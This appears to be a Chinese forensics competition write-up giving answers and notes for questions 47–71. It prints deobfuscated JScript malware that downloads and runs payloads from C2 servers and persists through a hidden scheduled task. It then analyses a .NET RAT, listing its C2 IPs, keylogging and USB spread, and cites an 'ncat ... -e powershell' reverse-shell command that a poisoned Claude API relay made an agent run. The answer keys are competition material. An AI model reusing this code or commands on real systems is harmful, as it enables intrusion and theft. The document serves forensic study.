    var char_set = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
    var Rj3c = "";
    var OKpB = "";
    for (var i = 0; i < XngP.length; ++i) {
        var B8wU = XngP.charCodeAt(i);
        var LUxg = B8wU.toString(2);
        while (LUxg.length < (y1qa ? 8 : 16)) LUxg = "0" + LUxg;
        OKpB += LUxg;
        while (OKpB.length >= 6) {
            var vjUu = OKpB.slice(0, 6);
            OKpB = OKpB.slice(6);
            Rj3c += this.char_set.charAt(parseInt(vjUu, 2));
        }
    }
    if (OKpB) {
        while (OKpB.length < 6) OKpB += "0";
        Rj3c += this.char_set.charAt(parseInt(OKpB, 2));
    }
    while (Rj3c.length % (y1qa ? 4 : 8) != 0) Rj3c += "=";
    return Rj3c;
}

// --- 字符映射表 (用于字符集转换) ---
var b92A = [];
b92A['C7'] = '80'; b92A['FC'] = '81'; b92A['E9'] = '82'; b92A['E2'] = '83'; b92A['E4'] = '84';
b92A['E0'] = '85'; b92A['E5'] = '86'; b92A['E7'] = '87'; b92A['EA'] = '88'; b92A['EB'] = '89';
b92A['E8'] = '8A'; b92A['EF'] = '8B'; b92A['EE'] = '8C'; b92A['EC'] = '8D'; b92A['C4'] = '8E';
b92A['C5'] = '8F'; b92A['C9'] = '90'; b92A['E6'] = '91'; b92A['C6'] = '92'; b92A['F4'] = '93';
b92A['F6'] = '94'; b92A['F2'] = '95'; b92A['FB'] = '96'; b92A['F9'] = '97'; b92A['FF'] = '98';
b92A['D6'] = '99'; b92A['DC'] = '9A'; b92A['A2'] = '9B'; b92A['A3'] = '9C'; b92A['A5'] = '9D';
b92A['20A7'] = '9E'; b92A['192'] = '9F'; b92A['E1'] = 'A0'; b92A['ED'] = 'A1'; b92A['F3'] = 'A2';
b92A['FA'] = 'A3'; b92A['F1'] = 'A4'; b92A['D1'] = 'A5'; b92A['AA'] = 'A6'; b92A['BA'] = 'A7';
b92A['BF'] = 'A8'; b92A['2310'] = 'A9'; b92A['AC'] = 'AA'; b92A['BD'] = 'AB'; b92A['BC'] = 'AC';
b92A['A1'] = 'AD'; b92A['AB'] = 'AE'; b92A['BB'] = 'AF'; b92A['2591'] = 'B0'; b92A['2592'] = 'B1';
b92A['2593'] = 'B2'; b92A['2502'] = 'B3'; b92A['2524'] = 'B4'; b92A['2561'] = 'B5'; b92A['2562'] = 'B6';
b92A['2556'] = 'B7'; b92A['2555'] = 'B8'; b92A['2563'] = 'B9'; b92A['2551'] = 'BA'; b92A['2557'] = 'BB';
b92A['255D'] = 'BC'; b92A['255C'] = 'BD'; b92A['255B'] = 'BE'; b92A['2510'] = 'BF'; b92A['2514'] = 'C0';
b92A['2534'] = 'C1'; b92A['252C'] = 'C2'; b92A['251C'] = 'C3'; b92A['2500'] = 'C4'; b92A['253C'] = 'C5';
b92A['255E'] = 'C6'; b92A['255F'] = 'C7'; b92A['255A'] = 'C8'; b92A['2554'] = 'C9'; b92A['2569'] = 'CA';
b92A['2566'] = 'CB'; b92A['2560'] = 'CC'; b92A['2550'] = 'CD'; b92A['256C'] = 'CE'; b92A['2567'] = 'CF';
b92A['2568'] = 'D0'; b92A['2564'] = 'D1'; b92A['2565'] = 'D2'; b92A['2559'] = 'D3'; b92A['2558'] = 'D4';
b92A['2552'] = 'D5'; b92A['2553'] = 'D6'; b92A['256B'] = 'D7'; b92A['256A'] = 'D8'; b92A['2518'] = 'D9';
b92A['250C'] = 'DA'; b92A['2588'] = 'DB'; b92A['2584'] = 'DC'; b92A['258C'] = 'DD'; b92A['2590'] = 'DE';
b92A['2580'] = 'DF'; b92A['3B1'] = 'E0'; b92A['DF'] = 'E1'; b92A['393'] = 'E2'; b92A['3C0'] = 'E3';
b92A['3A3'] = 'E4'; b92A['3C3'] = 'E5'; b92A['B5'] = 'E6'; b92A['3C4'] = 'E7'; b92A['3A6'] = 'E8';
b92A['398'] = 'E9'; b92A['3A9'] = 'EA'; b92A['3B4'] = 'EB'; b92A['221E'] = 'EC'; b92A['3C6'] = 'ED';
b92A['3B5'] = 'EE'; b92A['2229'] = 'EF'; b92A['2261'] = 'F0'; b92A['B1'] = 'F1'; b92A['2265'] = 'F2';
b92A['2264'] = 'F3'; b92A['2320'] = 'F4'; b92A['2321'] = 'F5'; b92A['F7'] = 'F6'; b92A['2248'] = 'F7';
b92A['B0'] = 'F8'; b92A['2219'] = 'F9'; b92A['B7'] = 'FA'; b92A['221A'] = 'FB'; b92A['207F'] = 'FC';
b92A['B2'] = 'FD'; b92A['25A0'] = 'FE'; b92A['A0'] = 'FF';

// --- 随机化与初始化 ---
function TfOh() {
    var ayuh = Math.ceil(Math.random() * 10 + 25);
    var name = String.fromCharCode(Math.ceil(Math.random() * 24 + 65));
    var dc9V = WScript.CreateObject("WScript.Network");
    w5mY = dc9V.UserName;
    for (var count = 0; count < ayuh; count++) {
        switch (Math.ceil(Math.random() * 3)) {
            case 1:
                name = name + Math.ceil(Math.random() * 8);
                break;
            case 2:
                name = name + String.fromCharCode(Math.ceil(Math.random() * 24 + 97));
                break;
            default:
                name = name + String.fromCharCode(Math.ceil(Math.random() * 24 + 65));
                break;
        }
    }
    return name;
}

// --- 核心逻辑:主循环与 C2 通信 ---
var wyKN = Blgx(bIdG());
try {
    var WE86 = bIdG();
    rGcR();
    jSm8();
} catch (e) {
    WScript.Quit();
}

function jSm8() {
    var c9lr = Fv6b();
    while (true) {
        for (var i = 0; i < CKpR.length; i++) {
            var Ysyo = CKpR[i];
            var f3cb = XEWG(Ysyo, c9lr);
            switch (f3cb) {
                case "good":
                    break;
                case "exit":
                    WScript.Quit();
                    break;
                case "work":
                    XBL3(Ysyo);
                    break;
                case "fail":
                    tbMu();
                    break;
                default:
                    break;
            }
            TfOh();
        }
        WScript.Sleep((Math.random() * 300 + 3600) * 1000);
    }
}

// --- 对象创建与工具函数 ---
function bIdG() {
    var spq3 = this['ActiveXObject'];
    var zBVv = new spq3('WScript.Shell');
    return zBVv;
}

function XBL3(B_TG) {
    var YIme = wyKN + LIxF.substring(0, LIxF.length - 2) + "pif";
    var Kpxo = new ActiveXObject("MSXML2.XMLHTTP");
    Kpxo.OPEN("post", B_TG, false);
    Kpxo.SETREQUESTHEADER("user-agent:", "Mozilla/5.0 (Windows NT 6.1; Win64; x64); " + Sz8k());
    Kpxo.SETREQUESTHEADER("content-type:", "application/octet-stream");
    Kpxo.SETREQUESTHEADER("content-length:", "4");
    Kpxo.SEND("work");
    
    if (QUjy.FILEEXISTS(YIme)) {
        QUjy.DELETEFILE(YIme);
    }
    
    if (Kpxo.STATUS == 200) {
        var m3mH = new ActiveXObject("ADODB.STREAM");
        m3mH.TYPE = 1;
        m3mH.OPEN();
        m3mH.WRITE(Kpxo.responseBody);
        m3mH.Position = 0;
        m3mH.Type = 2;
        m3mH.CharSet = "437";
        var c0xi = m3mH.ReadText(m3mH.Size);
        var ptF0 = FXx9("2f532d6baec3d0ec7b1f98aed4774843", cz_b(c0xi));
        NoRS(ptF0, YIme);
        m3mH.Close();
    }
    
    var ruGx = TfOh();
    c5ae(YIme, B_TG);
    WScript.Sleep(30000);
    QUjy.DELETEFILE(YIme);
}

// --- 反分析与自杀机制 ---
function tbMu() {
    QUjy.DELETEFILE(WScript.SCRIPTFULLNAME);
    eV_C("TaskManager", "Windows Task Manager", w5mY, v_FileName, "EzZETcSXyKAdF_e5I2i1", wyKN, false);
    KhDn("TaskManager");
    WScript.Quit();
}

// --- 网络通信 ---
function XEWG(uXHK, hm2j) {
    try {
        var Kpxo = new ActiveXObject("MSXML2.XMLHTTP");
        Kpxo.OPEN("post", uXHK, false);
        Kpxo.SETREQUESTHEADER("user-agent:", "Mozilla/5.0 (Windows NT 6.1; Win64; x64); " + Sz8k());
        Kpxo.SETREQUESTHEADER("content-type:", "application/octet-stream");
        var rRi3 = hLit(hm2j, true);
        Kpxo.SETREQUESTHEADER("content-length:", rRi3.length);
        Kpxo.SEND(rRi3);
        return Kpxo.responseText;
    } catch (e) {
        return "";
    }
}

// --- 生成指纹/标识 ---
function Sz8k() {
    var n9mV = "";
    var dc9V = WScript.CreateObject("WScript.Network");
    var rRi3 = tpO8 + dc9V.ComputerName + w5mY;
    for (var i = 0; i < 16; i++) {
        var YsXA = 0
        for (var j = i; j < rRi3.length - 1; j++) {
            YsXA = YsXA ^ rRi3.charCodeAt(j);
        }
        YsXA = (YsXA % 10);
        n9mV = n9mV + YsXA.toString(10);
    }
    n9mV = n9mV + tpO8;
    return n9mV;
}

// --- 持久化与伪装 ---
function rGcR() {
    v_FileName = wyKN + LIxF.substring(0, LIxF.length - 2) + "js";
    QUjy.COPYFILE(WScript.ScriptFullName, wyKN + LIxF);
    var HFp7 = (Math.random() * 150 + 350) * 1000;
    WScript.Sleep(HFp7);
    eV_C("TaskManager", "Windows Task Manager", w5mY, v_FileName, "EzZETcSXyKAdF_e5I2i1", wyKN, true);
}

// --- 信息收集 ---
function Fv6b() {
    var m_Rr = wyKN + "~dat.tmp";
    for (var i = 0; i < auME.length; i++) {
        WE86.Run("cmd.exe /c " + auME[i] + "\"" + m_Rr + "\"", 0, true);
    }
    var nRVN = UspD(m_Rr);
    WScript.Sleep(1000);
    QUjy.DELETEFILE(m_Rr);
    return FXx9("2f532d6baec3d0ec7b1f98aed4774843", nRVN);
}

// --- 执行下载的文件 ---
function c5ae(YIme, B_TG) {
    try {
        if (QUjy.FILEEXISTS(YIme)) {
            WE86.Run("\"" + YIme + "\"");
        }
    } catch (e) {
        var Kpxo = new ActiveXObject("MSXML2.XMLHTTP");
        Kpxo.OPEN("post", B_TG, false);
        var ePMy = "error";
        Kpxo.SETREQUESTHEADER("user-agent:", "Mozilla/5.0 (Windows NT 6.1; Win64; x64); " + Sz8k());
        Kpxo.SETREQUESTHEADER("content-type:", "application/octet-stream");
        Kpxo.SETREQUESTHEADER("content-length:", ePMy.length);
        Kpxo.SEND(ePMy);
        return "";
    }
}

// --- 十六进制转换 ---
function RPbY(r_X5) {
    var w8rG = "0123456789ABCDEF";
    var yjrw = w8rG.substr(r_X5 & 15, 1);
    while (r_X5 > 15) {
        r_X5 >>>= 4;
        yjrw = w8rG.substr(r_X5 & 15, 1) + yjrw;
    }
    return yjrw;
}

// --- 解析十六进制 ---
function NptO(jlEi) {
    return parseInt(jlEi, 16);
}

// --- 任务计划创建 (持久化) ---
function eV_C(Bjmr, RT6x, O7Ec, YBwP, T9Px, egNr, rmGH) {
    try {
        var BGfI = WScript.CreateObject("Schedule.Service");
        BGfI.Connect();
        var w2cQ = BGfI.GetFolder("WPD");
        var xSm3 = BGfI.NewTask(0);
        xSm3.Principal.UserId = O7Ec;
        xSm3.Principal.LogonType = 6;
        var wK2F = xSm3.RegistrationInfo;
        wK2F.Description = RT6x;
        wK2F.Author = O7Ec;
        var aYbx = xSm3.Settings;
        aYbx.Enabled = true;
        aYbx.StartWhenAvailable = true;
        aYbx.Hidden = rmGH;
        var oSP7 = "2015-07-12T11:47:24";
        var svaG = "2020-03-21T08:00:00";
        var LDoN = xSm3.Triggers;
        var r9EC = LDoN.Create(9);
        r9EC.StartBoundary = oSP7;
        r9EC.EndBoundary = svaG;
        r9EC.Id = "LogonTriggerId";
        r9EC.UserId = O7Ec;
        r9EC.Enabled = true;
        var gQu9 = xSm3.Actions.Create(0);
        gQu9.Path = YBwP;
        gQu9.Arguments = T9Px;
        gQu9.WorkingDirectory = egNr;
        w2cQ.RegisterTaskDefinition(Bjmr, xSm3, 6, "", "", 3);
        return true;
    } catch (Err) {
        return false;
    }
}

47. 【填空题】接上题,当C2服务器返回 "work" 指令时,脚本下载并执行的最终文件扩展名是什么?【答案格式:exe】

pif

目标文件名变量 YIme 最后拼接的是 "pif",下载后的内容会被解密并保存到这个路径,然后调用执行,所以最终扩展名是 pif

48. 【填空题】接上题,如果与C2通信失败,脚本会调用哪个函数尝试自毁并清理痕迹?【答案格式:Aabc】

tbMu

49. 【填空题】请分析早起王的PC镜像,该PC中neo4j数据库的密码是多少?【答案格式:abc3】

1qazxsw2

在图片中找到一张图片,从名称就看出来这是个可疑的文件

这张图片是个盲水印,根本想不到neo4j的密码能在这里

50. 【填空题】根据早起王笔录内容,早起王曾经对某企业进行过渗透攻击,请分析域内实体关系,FILESERVER.XIAORANG.LAB 对 XIAORANG.LAB 域拥有什么控制权限?【答案格式:ABCabc】

DCSync

容器里有BloodHound(账号密码为neo4j/1qazxsw2)和neo4j,打开看看,发现没东西

没使用还没有用U盘,在U盘上看到几个文件

这里有个SharpHound工具生成的数据收集结果的压缩包,将他导入到BloodHound中

分析路径即可

51. 【填空题】根据早起王笔录内容,早起王在渗透过程中已成功控制ZHANGXIN@XIAORANG.LAB,请结合域内实体关系图分析,早起王获取域控权限的完整攻击轨迹是什么?【答案格式:XXXXXXXX@XXXXXXX.XXX->XXXXXXXXXX.XXXXXXX.XXX->XXXXXXXX.XXX】

ZHANGXIN@XIAORANG.LAB >FILESERVER.XIAORANG.LAB >XIAORANG.LAB

分析路径

52. 【填空题】早起王在PC中记录过自己的犯罪动机并对其进行加密,请使用社工的方式破解加密文件,并提交密码。【答案格式:aabc3**】

Zqw20040101!

犯罪动机很可能是桌面上的这个压缩文件,毕竟文件名摆在这

既然是社工方式,那就得找个人信息,在文档处可以看到有一份简历

然后之前那个日记密码跟姓名和出生日期有关,这次把月和日也加上,用tscan生产个字典

然后字典爆破一下

解压之后打开看看,太泪目了

倩倩的电脑

53. 【填空题】早起王曾给倩倩发送过一封钓鱼邮件,请找到并计算附件MD5值【答案格式:字母不区分大小写】

5436b61ea58adb794804e3f18ce53f2a

只有一个附件

导出计算一下

54. 【填空题】接上题,编译木马使用的.NET版本是多少?【答案格式:1.1.45141】

4.0.30319

用die可以直接查看

55. 【填空题】接上题,木马中有多少反沙箱和反调试的检测逻辑?【答案格式:8】

5

不太会看反编译的代码,直接用dnSpymcp了

解析过程:

  1. 使用dnSpy工具加载xWmDDA程序,通过 list_types 工具查看程序类型列表。
  2. 定位到 Stub.oQm0xzosrWM7CGTCsMZCODumwvt5ODG1drdBoIeM03A6xt9SK5NFYiMYXb1U类的 8CBqemw89u44xYPchu85qRf8t1Kb7MrSwSSHdIK7O7VNarcvrvMnWLsldBYa 方法(主入口点)。
  3. 该方法调用了 AuPSZXXVSMF0DQRCvC2rt5MfcrYC48o7KO1SI69og2JLhf02Th6Xma2HOysY 方法,该方法串联了5个反沙箱/反调试检测函数:
    • Mi6spCUvppp4DtgyuvMzJhDBJsveVBG9zeD8c1kQXdScZVgnMViFJzIwncYfWRaCuUs0darWmS0uW4ndY5RkKqmDAG78 :WMI检测虚拟机厂商/型号(qemu/VirtualBox/Microsoft Virtual)
    • ekfERkJzvPUVc9xQ7RadvF87hIVFUbAaixRJaKzHcRjz6UQErCZPPcp2QVwluQOmYuWHUC5yKellGaX2R5rdbv4oYJoe :使用CheckRemoteDebuggerPresent检测调试状态
    • 2roByDJH6ZwpyyMdfAo4PFI3PqRqzn0PSxC5Zg4kzrh6PUEFGOozNDZH3SKF4M1wI6K9GZ1nL6cPaKJJYpNJSKRzaheb :使用GetModuleHandle("SbieDll.dll")检测Sandboxie环境
    • nIHJ1ssdguWOmBZEjwm4ZTWC6RpznK4TffpH05TZr9zRIsVfLweHMOElWw68 :检测OS名称是否包含"xp"
    • pP3jQ2G5fRQOBkR4RuG4ivhEGAqezIt7vqpAJDH5RetSUjBUu1dokMPle3i3 :访问ip-api.com的hosting标志检测是否在托管环境中
  4. 任意一个检测命中,木马都会执行 Environment.FailFast(null) 终止进程。

56. 【填空题】接上题,木马为获得提升的权限执行而创建的计划任务名称是什么?【答案格式:Netlogon】

WmiPrvSE

解析过程:

  1. Stub.oQm0xzosrWM7CGTCsMZCODumwvt5ODG1drdBoIeM03A6xt9SK5NFYiMYXb1U.8CBqemw89u44xYPchu85qRf8t1Kb7MrSwSSHdIK7O7VNarcvrvMnWLsldBYa 方法中,发现构造了schtasks.exe的参数:
processStartInfo.Arguments = string.Concat(new string[]
{
    "/create /f /RL HIGHEST /sc minute /mo 1 /tn \"",
    Path.GetFileNameWithoutExtension(NB2mi1VBTSN5U40DfEsDcrzgxWCrxt7i1yCoMW0Zb5dK9QwIjZ6W6wYeHriq.EB5J4sIzfH74BwfgRjacCtnEuNWFxu93z57nr4HrttTW5asXOhadv7pC7YFu),
    "\" /tr \"",
    text,
    "\""
});
  1. 分析 NB2mi1VBTSN5U40DfEsDcrzgxWCrxt7i1yCoMW0Zb5dK9QwIjZ6W6wYeHriq 类的静态构造函数,发现 EB5J4sIzfH74BwfgRjacCtnEuNWFxu93z57nr4HrttTW5asXOhadv7pC7YFu 字段被初始化为加密字符串: sJHKF5x7kjxy85oLMym05A== 。
  2. 通过分析 Stub.yEA8oSg5e02FNWc6DpGE.f5Mo9y1FK1yJy4poW9CE 方法,使用AES-ECB算法解密该字符串,得到 WmiPrvSE.exe 。
  3. 去扩展名后,计划任务名称为 WmiPrvSE 。

57. 【填空题】接上题,木马使用哪种加密算法来加密或混淆其配置数据?【答案格式:BASE64】

AES

  1. 分析 Stub.yEA8oSg5e02FNWc6DpGE.f5Mo9y1FK1yJy4poW9CE 方法,发现以下关键代码:
  2. 代码中使用了 RijndaelManaged 类,这是AES算法的实现。
  3. 加密过程:使用MD5哈希硬编码字符串生成32字节密钥,使用ECB模式解密Base64编码的配置数据。

58. 【填空题】接上题,为了获取其加密算法的某个参数,木马使用一个硬编码字符串作为输入。这个硬编码字符串的值是多少?【答案格式:uwbf4=wNfw】

8xTJ0EKPuiQsJVaT

  • 定义位置: NB2mi1VBTSN5U40DfEsDcrzgxWCrxt7i1yCoMW0Zb5dK9QwIjZ6W6wYeHriq.cs:25
public static string DhMybcleyUJ8bZbaqtAkL3FTz6SQ840xELBsFWt9yekNCVYQ1WgRtjL1bTF3 = "8xTJ0EKPuiQsJVaT";

被使用的位置:

  • yEA8oSg5e02FNWc6DpGE.cs:14
byte[] sourceArray = mD5CryptoServiceProvider.ComputeHash(
    ACX0qTJz...wVkaAAeCf6BeWi8Flwtq(NB2mi1...DhMybcle...)
);

59. 【填空题】接上题,木马回连的ip地址有哪些?【按照木马中原始的顺序写入,答案用,隔开,格式:114.114.114.114,8.8.8.8,1.1.1.1】

156.238.239.253,66.175.239.149,185.117.249.43

  • 配置常量定义: NB2mi1...cs:5
public static string ZIDZvDLAFbRYxsxkwMl1lB7DELyeP0rfiJNEILKuap1H9eXgbiPbiwGYX2g2 = "b7lP9DKXK17yU4FBIMvdZYYT7q1ogMGVrgjUqWnzqLxMXw3GIeVZpids5gIz2YZu";

使用函数:

  • u9706OVQm3F7ADJJyDV85Ea7OQFIveDAEfezQ8YXy7JEm0WUrIUs6v97sMf4cGt3Y8K9zXPDvKXTgvtlmqql8QcZG9oQ
  • MUaDlUN9...cs:48
string text = NB2mi1...ZIDZvDL....Split(',')[new Random().Next(...)];

同函数内解析和尝试连接:

IPAddress[] hostAddresses = Dns.GetHostAddresses(text);
foreach (IPAddress iPAddress in array)
{
    _2SVwEro2...(iPAddress.ToString());
}

按该样本同一套解密逻辑复原,原始顺序即:

  • 156.238.239.253,66.175.239.149,185.117.249.43

60. 【填空题】接上题,木马回连的C2通信端口是多少?【答案格式:11451】

7000

解析过程:

  1. NB2mi1VBTSN5U40DfEsDcrzgxWCrxt7i1yCoMW0Zb5dK9QwIjZ6W6wYeHriq 类的静态构造函数中,发现 PjOzPaAZem6YRSiY73iqOnuhSIsTpJmmeYR23TelLywq50KJA7ITRso6eQWj 字段被初始化为加密字符串: 3qBjH4yDUHjhZBxWK56eYw== 。
  2. 使用 Stub.yEA8oSg5e02FNWc6DpGE.f5Mo9y1FK1yJy4poW9CE 方法解密该字符串,得到回连端口: 7000

61. 【填空题】接上题,该木马通过将自身复制到可移动设备上来传播。在每个受感染设备上创建的新副本的名称是什么?【答案格式:dwm.exe】

USB.exe

解析过程:

  1. 分析 VRti6vhPYugo9GdL3aQYj2eDRdhSfKIazXyfNr18qkYGBHO0iTkiZoRtMwtI7vEZAaW8tYfk5m7J2.oXAUverEkn3LAFv6enuVZPjP25NAIAb6gydo8yzlQ3nHid4F58NM7IcXiFXorwNtYk82lvGcvQeSQ方法,发现其启动了一个线程执行 8JW8sctAWP3goappjN57CJl2TLWyKcTw2ZYwj5rr18XOfs8ItKA8LpXmObthOBfOKEBBELi8RAE3J 方法。
  2. 8JW8sctAWP3goappjN57CJl2TLWyKcTw2ZYwj5rr18XOfs8ItKA8LpXmObthOBfOKEBBELi8RAE3J方法中,发现以下代码:
if (!File.Exists(name + NB2mi1VBTSN5U40DfEsDcrzgxWCrxt7i1yCoMW0Zb5dK9QwIjZ6W6wYeHriq.s6qNUlBh1I6DXfxJKXLS8vMqDb2zNIYNi5hhilJnX0Mbzr8B4g6F0vguJvMV))
{
    File.WriteAllBytes(name + NB2mi1VBTSN5U40DfEsDcrzgxWCrxt7i1yCoMW0Zb5dK9QwIjZ6W6wYeHriq.s6qNUlBh1I6DXfxJKXLS8vMqDb2zNIYNi5hhilJnX0Mbzr8B4g6F0vguJvMV, File.ReadAllBytes(ACX0qTJzEzq40qP5qFxb.8qqIc9C1rZ7T3TBLTgSV));
    File.SetAttributes(name + NB2mi1VBTSN5U40DfEsDcrzgxWCrxt7i1yCoMW0Zb5dK9QwIjZ6W6wYeHriq.s6qNUlBh1I6DXfxJKXLS8vMqDb2zNIYNi5hhilJnX0Mbzr8B4g6F0vguJvMV, FileAttributes.Hidden | FileAttributes.System);
}
  1. 分析 NB2mi1VBTSN5U40DfEsDcrzgxWCrxt7i1yCoMW0Zb5dK9QwIjZ6W6wYeHriq 类的静态构造函数,发现 s6qNUlBh1I6DXfxJKXLS8vMqDb2zNIYNi5hhilJnX0Mbzr8B4g6F0vguJvMV 字段被初始化为加密字符串: lXEVYeoDw31nYYF2ts9aUQ== 。
  2. 使用 Stub.yEA8oSg5e02FNWc6DpGE.f5Mo9y1FK1yJy4poW9CE 方法解密该字符串,得到可移动设备传播的文件名称: USB.exe 。

62. 【填空题】接上题,木马用来检测其是否在沙盒环境中运行的DLL的名称是什么?【答案格式:v50.dll】

SbieDll.dll

  1. 分析 Stub.oQm0xzosrWM7CGTCsMZCODumwvt5ODG1drdBoIeM03A6xt9SK5NFYiMYXb1U.2roByDJH6ZwpyyMdfAo4PFI3PqRqzn0PSxC5Zg4kzrh6PUEFGOozNDZH3SKF4M1wI6K9GZ1nL6cPaKJJYpNJSKRzaheb方法,发现以下代码:
private static bool 2roByDJH6ZwpyyMdfAo4PFI3PqRqzn0PSxC5Zg4kzrh6PUEFGOozNDZH3SKF4M1wI6K9GZ1nL6cPaKJJYpNJSKRzaheb()
{
    bool result;
    try
    {
        if (oQm0xzosrWM7CGTCsMZCODumwvt5ODG1drdBoIeM03A6xt9SK5NFYiMYXb1U.rgXTs7mD5xW0pNhvBEkl5gT1M7CxjhLt6BgegsGiceVXuORoR8HLqgV1rzHGXir1sd7268MbWZoyrYKQyiCFBZDlhGy0("SbieDll.dll").ToInt32() != 0)
        {
            result = true;
        }
        else
        {
            result = false;
        }
    }
    catch (Exception ex)
    {
        result = false;
    }
    return result;
}
  1. 该方法通过 GetModuleHandle("SbieDll.dll") 检测Sandboxie环境, SbieDll.dll 是Sandboxie的特征DLL文件。

63. 【填空题】接上题,木马操纵的用于控制Windows资源管理器中隐藏项目可见性的注册表项名称是什么?【答案格式:AAAabc3】

ShowSuperHidden

  1. 分析 VRti6vhPYugo9GdL3aQYj2eDRdhSfKIazXyfNr18qkYGBHO0iTkiZoRtMwtI7vEZAaW8tYfk5m7J2.8JW8sctAWP3goappjN57CJl2TLWyKcTw2ZYwj5rr18XOfs8ItKA8LpXmObthOBfOKEBBELi8RAE3J方法,发现以下代码:
RegistryKey registryKey = MuC0Ek32S2qWYkJGK8MCDraE3NRaegV2ciWj85lpbnaytobXnqusBz1a9jJ9.Computer.Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced", true);
if (Operators.ConditionalCompareObjectEqual(registryKey.GetValue("ShowSuperHidden"), 1, false))
{
    registryKey.SetValue("ShowSuperHidden", 0);
}
  1. 该代码通过修改 Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced 注册表项的 ShowSuperHidden 值来控制Windows资源管理器中隐藏项目的可见性。当该值为0时,系统隐藏文件将不可见。

64. 【填空题】接上题,木马使用哪个API将其进程标记为关键进程?【答案格式:WNetAddConnection】

RtlSetProcessIsCritical

解析过程:

  1. 通过分析代码,发现木马使用RtlSetProcessIsCritical API将其进程标记为关键进程。
  2. 该API是Windows内核API,用于将进程标记为关键进程,当关键进程终止时,系统会蓝屏重启,从而增强木马的持久性,防止被轻易终止。

65. 【填空题】接上题,木马使用哪个API来捕获用户输入?【答案格式:WNetAddConnection】

SetWindowsHookEx

解析过程:

  1. 分析Stub.kJx6L3azGytvvlpO5g4M7vFzwGBCSetM1yxXtBPEZEjmmDw8uu6Q82pIaJr4lKWmVXwocSYY9KQQd类的JKx38cy8TbFy5P5ttrQ9OLrthXtu96odVBXsmvxSn20Mt8RNga1E4WcryC9xOrWhaWouoY8gKqapQ方法,发现其调用了gbCd08rDfseGE3J0T9qVznuYeUvu0XNOFrPRHHHyWzDcQnAO1CcV8WSyatgkEErKTJu2YcRFpwveF方法。
  2. gbCd08rDfseGE3J0T9qVznuYeUvu0XNOFrPRHHHyWzDcQnAO1CcV8WSyatgkEErKTJu2YcRFpwveF方法中,发现使用了SetWindowsHookEx API:
result = kJx6L3azGytvvlpO5g4M7vFzwGBCSetM1yxXtBPEZEjmmDw8uu6Q82pIaJr4lKWmVXwocSYY9KQQd.v2H7UaTp8QLeiqSYflzi3sclFElatUojEHCwvOIoXHXii3FlZocIVLQx9c8vO5vW9iL6KiRzIfUyn(kJx6L3azGytvvlpO5g4M7vFzwGBCSetM1yxXtBPEZEjmmDw8uu6Q82pIaJr4lKWmVXwocSYY9KQQd.qngu7xoZGGhpg5AVMmig, 1tRWwlzbXNw6PEsYFXIGRwRqm13BMnsL0N6R09MjfgJOpIh7o5E3RYCfV6pvVtGnKxt8aQ9HVaixH, kJx6L3azGytvvlpO5g4M7vFzwGBCSetM1yxXtBPEZEjmmDw8uu6Q82pIaJr4lKWmVXwocSYY9KQQd.RSAhvLEO2fyXUqWFA6aJ(currentProcess.ProcessName), 0U);
  1. SetWindowsHookEx API用于安装钩子过程,捕获用户输入,实现键盘记录等功能。

66. 【填空题】请分析倩倩的PC镜像,倩倩的电脑曾被api投毒过,请找出投毒后执行的的恶意命令。【答案格式:cmd.exe 172.0.0.1 22 -i hello】

ncat.exe 156.238.239.253 1314 -e powershell

api投毒,中转站的api为claude,在计算机刚好也找到个.claude文件夹

然后将全部导出让ai分析文件夹,在e08a2d72-f8cc-4b5a-a903-6f88b670572a.jsonl文件中看到指令

倩倩的内存镜像

67. 【填空题】请分析倩倩的PC内存镜像,识别当前正在运行且持有微信数据库解密密钥的微信进程,并提取该进程的进程标识符(PID)?【答案格式:1234】

10892

用火眼内存分析可以看到

68. 【填空题】请分析倩倩的PC内存镜像,请尝试解密微信数据库并写出message_0.db对应的微信密钥?【答案格式:60e248c9079f4bc14e256e0b65495e8688d7b342d43dc84a5f417f4097c9c792】

b0fb4730d908c07d3e928b5c418a7470bd954d100c9607821e0c05051c4588aa

一个一个密钥试着解密

69. 【填空题】请分析倩倩的PC内存镜像,请找到正在运行的木马进程的进程标识符(PID)。【答案格式:1233】

7348

70. 【填空题】请分析倩倩的PC内存镜像,请找到正在运行的木马进程的创建时间(UTC)?【答案格式:2026-01-01 01:11:11】

2026-04-03 01:46:44

见上题

71. 【填空题】请分析倩倩的PC内存镜像,结合木马分析找出内存中回连的C2木马服务器的真实ip?【答案格式:127.0.0.1:8080】

156.238.239.253:7000

看到两个ip

根据木马分析部分可知是第一个

posted @ 2026-04-15 11:39  Serendipity的小屋  阅读(156)  评论(0)    收藏  举报